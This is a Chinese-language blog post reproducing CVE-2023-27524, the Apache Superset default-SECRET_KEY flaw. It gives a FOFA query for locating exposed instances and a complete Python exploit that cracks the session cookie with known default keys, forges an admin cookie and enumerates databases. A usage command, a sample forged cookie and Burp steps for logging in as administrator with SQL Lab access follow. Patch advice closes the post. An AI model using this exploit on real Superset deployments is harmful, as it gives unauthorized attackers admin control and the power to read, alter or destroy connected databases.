CVE-2023-27524:Apache Superset未授权访问漏洞复现

文章目录

  • [​Apache Superset 未授权访问漏洞(CVE-2023-27524)复现](#Apache Superset 未授权访问漏洞(CVE-2023-27524)复现)
    • [0x01 前言](#0x01 前言)
    • [0x02 漏洞描述](#0x02 漏洞描述)
    • [0x03 影响版本](#0x03 影响版本)
    • [0x04 漏洞环境](#0x04 漏洞环境)
    • [0x05 漏洞复现](#0x05 漏洞复现)
    • [0x06 修复建议](#0x06 修复建议)

​Apache Superset 未授权访问漏洞(CVE-2023-27524)复现

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。

由于Apache Superset存在不安全的默认配置,未根据安装说明更改默认SECRET_KEY的系统受此漏洞影响,未经身份认证的远程攻击者利用此漏洞可以访问未经授权的资源或执行恶意代码。

0x03 影响版本

Apache Superset <= 2.0.1

0x04 漏洞环境

FOFA语法: "Apache Superset"

0x05 漏洞复现

1.访问漏洞环境

2.漏洞复现

首先Apache Superset是基于python中的flask web框架编写的,flask是一个python轻量级web框架,它的session存储在客户端的cookie字段中。为了防止session篡改,flask进行了如下的处理(代码存放在flask模块中sessions.py文件中):

bash 复制代码
"""The default session interface that stores sessions in signed cookies
through the :mod:`itsdangerous` module.
"""

#: the salt that should be applied on top of the secret key for the
#: signing of cookie based sessions.
salt = "cookie-session"
#: the hash function to use for the signature. The default is sha1
digest_method = staticmethod(hashlib.sha1)
#: the name of the itsdangerous supported key derivation. The default
#: is hmac.
key_derivation = "hmac"
#: A python serializer for the payload. The default is a compact
#: JSON derived serializer with support for some extra Python types
#: such as datetime objects or tuples.
serializer = session_json_serializer
session_class = SecureCookieSession

def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation, digest_method=self.digest_method
)
return URLSafeTimedSerializer(
app.secret_key,
salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs,
)
......
......

使用漏洞利用工具 ,下载地址:

https://github.com/horizon3ai/CVE-2023-27524

python 复制代码
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
    parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
    parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
    parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
    args = parser.parse_args()

    try:
        u = args.url.rstrip('/') + '/login/'

        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
        }

        resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
        if resp.status_code != 200:
            print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
            return

        session_cookie = None
        for c in resp.cookies:
            if c.name == 'session':
                session_cookie = c.value
                break

        if not session_cookie:
            print('Error: No session cookie found')
            return

        print(f'Got session cookie: {session_cookie}')

        try:
            decoded = session.decode(session_cookie)
            print(f'Decoded session cookie: {decoded}')
        except:
            print('Error: Not a Flask session cookie')
            return

        match = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)
        if match:
            version = match.group(1)
        else:
            version = 'Unknown'

        print(f'Superset Version: {version}')

            
        for i, k in enumerate(SECRET_KEYS):
            cracked = session.verify(session_cookie, k)
            if cracked:
                break

        if not cracked:
            print('Failed to crack session cookie')
            return

        print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

        try:
            user_id = int(args.id)
        except:
            user_id = args.id
        
        forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
        print(f'Forged session cookie for user {user_id}: {forged_cookie}')

        if args.validate:
            validated = False
            try:
                headers['Cookie'] = f'session={forged_cookie}'
                print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
                sleep(args.timeout)
                resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
                if resp.status_code == 302:
                    print(f'Got 302 on login, forged cookie appears to have been accepted')
                    validated = True
                else:
                    print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
            except Exception as e_inner:
                print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')

            if not validated:
                return

            print('Enumerating databases')
            for i in range(1, 101):
                database_url_base = args.url.rstrip('/') + '/api/v1/database'
                try:
                    r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
                    if r.status_code == 200:
                        result = r.json()['result'] # validate response is JSON
                        name = result['database_name']
                        print(f'Found database {name}')
                    elif r.status_code == 404:
                        print(f'Done enumerating databases')
                        break # no more databases
                    else:
                        print(f'Unexpected error: status code={r.status_code}')
                        break
                except Exception as e_inner:
                    print(f'Unexpected error: {e_inner}')
                    break


    except Exception as e:
        print(f'Unexpected error: {e}')


if __name__ == '__main__':
    main()

PS:用法

bash 复制代码
python37 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate]
                         [--timeout TIMEOUT]

optional arguments:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of Superset instance
  --id ID               User ID to forge session cookie for, default=1
  --validate, -v        Validate login
  --timeout TIMEOUT, -t TIMEOUT
                        Time to wait before using forged session cookie,
                        default=5s

然后执行如下命令,-u 后面跟你想要检测的地址。

python3 CVE-2023-27524.py -u http://127.0.0.1/ --validate

攻击者可以利用爆破出来的key伪造一个user_id值设置为1的会话cookie,以管理员身份登录。在浏览器的本地存储中设置伪造的会话 cookie 并刷新页面允许攻击者以管理员身份访问应用程序。SQL Lab接口允许攻击者对连接的数据库运行任意SQL语句。根据数据库用户权限,攻击者可以查询、修改和删除数据库中的任何数据,以及在数据库服务器上执行远程代码。若存在漏洞这里会爆出一个cookie值。

eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZV6v8g.KpbTtE1tzjCztMlt5PHsHYdOsU8
使用burp拦截请求包,这里是GET,也就是说不需要登录,直接刷新获取即可。

替换上面的cookie值(替换为漏洞利用工具爆出来的cookie值)。替换后放开数据包,成功登录进去Apache Superset 管理后台 ,里面可以执行一些sql语句等操作(证明其有危害即可,不要随意执行sql语句篡改数据)

0x06 修复建议

1.临时解决措施:

修改配置中的SECRET_KEY值,使用新的 SECRET_KEY 重新加密该信息,参考链接:

https://superset.apache.org/docs/installation/configuring-superset/#secret_key-rotation

2.目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://lists.apache.org/thread/n0ftx60sllf527j7g11kmt24wvof8xyk

参考链接

https://mp.weixin.qq.com/s/VVpurbMCYZ2gqaG-SV1Oug

https://www.cve.org/CVERecord?id=CVE-2023-27524

相关推荐
hikktn1 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
23zhgjx-NanKon3 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon3 小时前
华为eNSP:mux-vlan
网络·安全·华为
昔我往昔3 小时前
阿里云文本内容安全处理
安全·阿里云·云计算
Lionhacker4 小时前
网络工程师这个行业可以一直干到退休吗?
网络·数据库·网络安全·黑客·黑客技术
centos085 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
棱角~~5 小时前
盘点和嗨格式一样好用的10款数据恢复!!
数据库·经验分享·安全·电脑·学习方法
NETFARMER运营坛6 小时前
如何优化 B2B 转化率?这些步骤你不可不知
大数据·安全·阿里云·ai·ai写作
安徽京准6 小时前
京准时钟:无人机卫星信号安全防护隔离装置
安全·无人机·信号安全防护装置·卫星安全隔离装置·北斗授时安全隔离·北斗对时防护隔离装置
mingzhi617 小时前
渗透测试-快速获取目标中存在的漏洞(小白版)
安全·web安全·面试·职场和发展